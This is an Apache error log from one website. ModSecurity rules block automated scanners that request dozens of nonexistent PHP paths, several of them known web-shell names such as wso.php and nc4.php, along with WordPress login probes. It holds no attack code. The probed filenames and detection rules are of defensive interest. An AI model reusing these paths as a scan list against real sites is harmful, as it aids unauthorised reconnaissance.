[Mon Mar 23 18:47:35.713887 2026] [:error] [pid 57265:tid 57279] [client 65.52.65.130:16868] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/filesss.php"] [unique_id "acEaR2NLjPJJkhuqCshK6gAAAQw"]
[Mon Mar 23 18:47:36.265009 2026] [:error] [pid 57265:tid 57291] [client 65.52.65.130:16782] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/filesss.php"] [unique_id "acEaSGNLjPJJkhuqCshK8wAAARg"]
[Mon Mar 23 18:47:36.834377 2026] [:error] [pid 57265:tid 57282] [client 65.52.65.130:16850] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/filesss.php"] [unique_id "acEaSGNLjPJJkhuqCshLCwAAAQ8"]
[Mon Mar 23 18:47:37.459652 2026] [:error] [pid 57265:tid 57269] [client 65.52.65.130:3961] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/filesss.php"] [unique_id "acEaSWNLjPJJkhuqCshLHQAAAQI"]
[Mon Mar 23 18:47:38.026162 2026] [:error] [pid 57265:tid 57284] [client 65.52.65.130:16807] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-aaa.php"] [unique_id "acEaSmNLjPJJkhuqCshLIAAAARE"]
[Mon Mar 23 18:47:38.535327 2026] [:error] [pid 57265:tid 57291] [client 65.52.65.130:16873] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-aaa.php"] [unique_id "acEaSmNLjPJJkhuqCshLIwAAARg"]
[Mon Mar 23 18:47:40.126706 2026] [:error] [pid 23539:tid 23564] [client 65.52.65.130:16884] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-aaa.php"] [unique_id "acEaTH7Dh3qWGSpIAZUkywAAANA"]
[Mon Mar 23 18:47:47.824184 2026] [:error] [pid 14573:tid 14599] [client 65.52.65.130:4003] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-aaa.php"] [unique_id "acEaU--oSmHn3q4_J1HRGQAAAVg"]
[Mon Mar 23 18:47:48.573582 2026] [:error] [pid 14573:tid 14597] [client 65.52.65.130:3876] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/031.php"] [unique_id "acEaVO-oSmHn3q4_J1HRGwAAAVY"]
[Mon Mar 23 18:47:49.241182 2026] [:error] [pid 14573:tid 14578] [client 65.52.65.130:16792] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/031.php"] [unique_id "acEaVe-oSmHn3q4_J1HRHQAAAUM"]
[Mon Mar 23 18:47:49.833803 2026] [:error] [pid 23440:tid 23495] [client 65.52.65.130:4071] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/031.php"] [unique_id "acEaVT49_8n8h_ttcUo2sAAAAFM"]
[Mon Mar 23 18:47:50.454725 2026] [:error] [pid 35165:tid 35180] [client 65.52.65.130:3072] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/031.php"] [unique_id "acEaVs6udpN6Esk7JKvADAAAAYw"]
[Mon Mar 23 18:47:51.135905 2026] [:error] [pid 23539:tid 23558] [client 65.52.65.130:16858] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about3.php"] [unique_id "acEaV37Dh3qWGSpIAZUk1gAAAMo"]
[Mon Mar 23 18:47:51.711531 2026] [:error] [pid 35165:tid 35174] [client 65.52.65.130:16785] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about3.php"] [unique_id "acEaV86udpN6Esk7JKvADgAAAYY"]
[Mon Mar 23 18:47:52.427596 2026] [:error] [pid 35165:tid 35175] [client 65.52.65.130:3966] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about3.php"] [unique_id "acEaWM6udpN6Esk7JKvAEQAAAYc"]
[Mon Mar 23 18:47:56.186729 2026] [:error] [pid 35165:tid 35176] [client 65.52.65.130:3077] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about3.php"] [unique_id "acEaXM6udpN6Esk7JKvAGgAAAYg"]
[Mon Mar 23 18:47:56.707116 2026] [:error] [pid 57265:tid 57274] [client 65.52.65.130:16797] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file88.php"] [unique_id "acEaXGNLjPJJkhuqCshLmAAAAQc"]
[Mon Mar 23 18:47:57.331518 2026] [:error] [pid 57265:tid 57270] [client 65.52.65.130:3960] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file88.php"] [unique_id "acEaXWNLjPJJkhuqCshLnAAAAQM"]
[Mon Mar 23 18:47:58.894275 2026] [:error] [pid 35165:tid 35178] [client 65.52.65.130:16784] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file88.php"] [unique_id "acEaXs6udpN6Esk7JKvAHgAAAYo"]
[Mon Mar 23 18:47:59.409393 2026] [:error] [pid 35165:tid 35186] [client 65.52.65.130:3924] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file88.php"] [unique_id "acEaX86udpN6Esk7JKvAIQAAAZI"]
[Mon Mar 23 18:48:05.655033 2026] [:error] [pid 23441:tid 23507] [client 65.52.65.130:16769] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "acEaZRq7S-oOqSXZEr7gnAAAAIQ"]
[Mon Mar 23 18:48:06.188598 2026] [:error] [pid 35165:tid 35170] [client 65.52.65.130:16837] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "acEaZs6udpN6Esk7JKvAKwAAAYI"]
[Mon Mar 23 18:48:06.717752 2026] [:error] [pid 35165:tid 35177] [client 65.52.65.130:16787] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "acEaZs6udpN6Esk7JKvALQAAAYk"]
[Mon Mar 23 18:48:08.292888 2026] [:error] [pid 23440:tid 23487] [client 65.52.65.130:16846] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "acEaaD49_8n8h_ttcUo2uAAAAEs"]
[Mon Mar 23 18:48:08.905218 2026] [:error] [pid 23439:tid 23457] [client 65.52.65.130:4057] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "acEaaKZv8XIzUKdgaMeTeAAAAAg"]
[Mon Mar 23 18:48:09.468618 2026] [:error] [pid 23539:tid 23560] [client 65.52.65.130:16799] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "acEaaX7Dh3qWGSpIAZUk4AAAAMw"]
[Mon Mar 23 18:48:09.990042 2026] [:error] [pid 23441:tid 23514] [client 65.52.65.130:3841] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "acEaaRq7S-oOqSXZEr7gngAAAIs"]
[Mon Mar 23 18:48:11.699806 2026] [:error] [pid 14573:tid 14595] [client 65.52.65.130:3864] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x1da.php"] [unique_id "acEaa--oSmHn3q4_J1HRNwAAAVQ"]
[Mon Mar 23 18:48:12.338697 2026] [:error] [pid 14573:tid 14597] [client 65.52.65.130:3085] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/des.php"] [unique_id "acEabO-oSmHn3q4_J1HROgAAAVY"]
[Mon Mar 23 18:48:19.948056 2026] [:error] [pid 14573:tid 14596] [client 65.52.65.130:16895] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/des.php"] [unique_id "acEac--oSmHn3q4_J1HRQAAAAVU"]
[Mon Mar 23 18:48:20.575510 2026] [:error] [pid 23539:tid 23564] [client 65.52.65.130:16789] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/des.php"] [unique_id "acEadH7Dh3qWGSpIAZUk4wAAANA"]
[Mon Mar 23 18:48:21.190692 2026] [:error] [pid 14573:tid 14577] [client 65.52.65.130:4038] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/des.php"] [unique_id "acEade-oSmHn3q4_J1HRQgAAAUI"]
[Mon Mar 23 18:48:21.728884 2026] [:error] [pid 57265:tid 57291] [client 65.52.65.130:16774] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kaza.php"] [unique_id "acEadWNLjPJJkhuqCshLrwAAARg"]
[Mon Mar 23 18:48:22.252799 2026] [:error] [pid 57265:tid 57277] [client 65.52.65.130:4010] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kaza.php"] [unique_id "acEadmNLjPJJkhuqCshLsAAAAQo"]
[Mon Mar 23 18:48:23.444235 2026] [:error] [pid 57265:tid 57281] [client 65.52.65.130:3954] [client 65.52.65.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kaza.php"] [unique_id "acEad2NLjPJJkhuqCshLswAAAQ4"]
[Mon Mar 23 18:48:25.108612 2026] [:error] [pid 14573:tid 14592] [client 65.52.65.130:16855] File does not exist: /usr/local/apache/htdocs/suspended-page/kaza.php
[Mon Mar 23 18:48:25.430553 2026] [:error] [pid 14573:tid 14582] [client 65.52.65.130:16855] File does not exist: /usr/local/apache/htdocs/suspended-page/file51.php
[Mon Mar 23 18:48:25.720797 2026] [:error] [pid 14573:tid 14580] [client 65.52.65.130:16855] File does not exist: /usr/local/apache/htdocs/suspended-page/blurbs15.php
[Mon Mar 23 18:48:26.812064 2026] [:error] [pid 14573:tid 14579] [client 65.52.65.130:16855] File does not exist: /usr/local/apache/htdocs/suspended-page/bless11.php
[Mon Mar 23 18:48:27.797136 2026] [:error] [pid 14573:tid 14587] [client 65.52.65.130:16855] File does not exist: /usr/local/apache/htdocs/suspended-page/security.php
[Mon Mar 23 18:48:28.168602 2026] [:error] [pid 14573:tid 14599] [client 65.52.65.130:16855] File does not exist: /usr/local/apache/htdocs/suspended-page/ar.php
[Mon Mar 23 18:48:28.525685 2026] [:error] [pid 14573:tid 14588] [client 65.52.65.130:16855] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Mon Mar 23 18:48:28.817765 2026] [:error] [pid 14573:tid 14585] [client 65.52.65.130:16855] File does not exist: /usr/local/apache/htdocs/suspended-page/xoot.php
[Mon Mar 23 18:59:43.003617 2026] [:error] [pid 57265:tid 57268] [client 20.63.98.227:45702] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Mon Mar 23 18:59:43.432104 2026] [:error] [pid 57265:tid 57275] [client 20.63.98.227:45702] [client 20.63.98.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.63.98.227, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acEdH2NLjPJJkhuqCshTUQAAAQg"]
[Mon Mar 23 18:59:43.647803 2026] [:error] [pid 57265:tid 57286] [client 20.63.98.227:45702] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-corn-sample.php
[Mon Mar 23 18:59:44.485600 2026] [:error] [pid 57265:tid 57289] [client 20.63.98.227:45702] File does not exist: /usr/local/apache/htdocs/suspended-page/server.php
[Mon Mar 23 18:59:45.123974 2026] [:error] [pid 57265:tid 57276] [client 20.63.98.227:45702] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Mon Mar 23 18:59:45.328899 2026] [:error] [pid 57265:tid 57283] [client 20.63.98.227:45702] [client 20.63.98.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acEdIWNLjPJJkhuqCshTXgAAARA"]
[Mon Mar 23 18:59:46.160031 2026] [:error] [pid 23441:tid 23505] [client 20.63.98.227:45733] [client 20.63.98.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acEdIhq7S-oOqSXZEr7jFAAAAII"]
[Mon Mar 23 18:59:46.983820 2026] [:error] [pid 23441:tid 23503] [client 20.63.98.227:45696] [client 20.63.98.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acEdIhq7S-oOqSXZEr7jFgAAAIA"]
[Mon Mar 23 18:59:47.807930 2026] [:error] [pid 35165:tid 35192] [client 20.63.98.227:45752] [client 20.63.98.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "acEdI86udpN6Esk7JKvEQQAAAZg"]
[Tue Mar 24 03:59:09.247015 2026] [:error] [pid 3032:tid 3120] [client 20.43.23.11:35550] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Tue Mar 24 03:59:09.459621 2026] [:error] [pid 3032:tid 3109] [client 20.43.23.11:35550] File does not exist: /usr/local/apache/htdocs/suspended-page/dkojjmly.php, referer: www.google.com
[Tue Mar 24 03:59:10.290782 2026] [:error] [pid 3137:tid 3147] [client 20.43.23.11:40171] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Tue Mar 24 03:59:10.501933 2026] [:error] [pid 3137:tid 3156] [client 20.43.23.11:40171] File does not exist: /usr/local/apache/htdocs/suspended-page/exgjuxpu.php, referer: www.google.com
[Tue Mar 24 04:27:42.813648 2026] [:error] [pid 38767:tid 38777] [client 20.43.23.11:44767] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Tue Mar 24 04:27:43.021075 2026] [:error] [pid 38767:tid 38774] [client 20.43.23.11:44767] File does not exist: /usr/local/apache/htdocs/suspended-page/xackbrge.php, referer: www.google.com
[Tue Mar 24 04:27:43.851716 2026] [:error] [pid 38767:tid 38793] [client 20.43.23.11:44765] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Tue Mar 24 04:27:44.062041 2026] [:error] [pid 38767:tid 38786] [client 20.43.23.11:44765] File does not exist: /usr/local/apache/htdocs/suspended-page/bgcgnosh.php, referer: www.google.com
[Tue Mar 24 05:04:34.492496 2026] [:error] [pid 3137:tid 3161] [client 20.43.23.11:38808] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Tue Mar 24 05:04:34.705562 2026] [:error] [pid 3137:tid 3148] [client 20.43.23.11:38808] File does not exist: /usr/local/apache/htdocs/suspended-page/vzfwpopn.php, referer: www.google.com
[Tue Mar 24 05:04:36.040135 2026] [:error] [pid 3031:tid 3096] [client 20.43.23.11:22210] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-plain.php, referer: www.google.com
[Tue Mar 24 05:04:36.251047 2026] [:error] [pid 3031:tid 3094] [client 20.43.23.11:22210] File does not exist: /usr/local/apache/htdocs/suspended-page/rsilijxv.php, referer: www.google.com
[Tue Mar 24 09:02:47.100862 2026] [:error] [pid 3031:tid 3078] [client 185.223.152.127:47773] [client 185.223.152.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.127, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "acHit6JBKytnG47nuiYE5QAAAEI"]
[Tue Mar 24 09:02:47.129921 2026] [:error] [pid 3031:tid 3078] [client 185.223.152.127:47773] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Mar 24 15:13:16.392330 2026] [:error] [pid 38767:tid 38770] [client 20.251.56.73:13327] File does not exist: /usr/local/apache/htdocs/suspended-page/classgoto24.php
[Tue Mar 24 15:13:16.705249 2026] [:error] [pid 38767:tid 38788] [client 20.251.56.73:13327] File does not exist: /usr/local/apache/htdocs/suspended-page/ws86.php
[Tue Mar 24 15:13:17.023247 2026] [:error] [pid 38767:tid 38783] [client 20.251.56.73:13327] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Tue Mar 24 15:13:17.293060 2026] [:error] [pid 38767:tid 38781] [client 20.251.56.73:13327] File does not exist: /usr/local/apache/htdocs/suspended-page/xwx1.php
[Tue Mar 24 15:13:17.578979 2026] [:error] [pid 38767:tid 38772] [client 20.251.56.73:13327] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Tue Mar 24 15:13:18.106331 2026] [:error] [pid 38767:tid 38790] [client 20.251.56.73:13327] File does not exist: /usr/local/apache/htdocs/suspended-page/nc4.php
[Tue Mar 24 15:13:18.369886 2026] [:error] [pid 38767:tid 38779] [client 20.251.56.73:13327] File does not exist: /usr/local/apache/htdocs/suspended-page/v3.php
[Tue Mar 24 15:13:18.633736 2026] [:error] [pid 38767:tid 38793] [client 20.251.56.73:13327] File does not exist: /usr/local/apache/htdocs/suspended-page/wtiiy.php
[Tue Mar 24 15:13:18.932513 2026] [:error] [pid 38767:tid 38784] [client 20.251.56.73:13327] File does not exist: /usr/local/apache/htdocs/suspended-page/gmo.php
[Tue Mar 24 15:13:19.193326 2026] [:error] [pid 38767:tid 38782] [client 20.251.56.73:13327] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xvs.php"] [unique_id "acI5j_wkUqN4GJAI5oV8rQAAAQw"]
[Tue Mar 24 15:13:19.784871 2026] [:error] [pid 64198:tid 64218] [client 20.251.56.73:13586] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xvs.php"] [unique_id "acI5j3VzJqf6OS_oSZ0r9gAAAVI"]
[Tue Mar 24 15:13:20.542722 2026] [:error] [pid 48219:tid 48290] [client 20.251.56.73:13340] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xvs.php"] [unique_id "acI5kChf3b4R_lAIyv81lAAAAgk"]
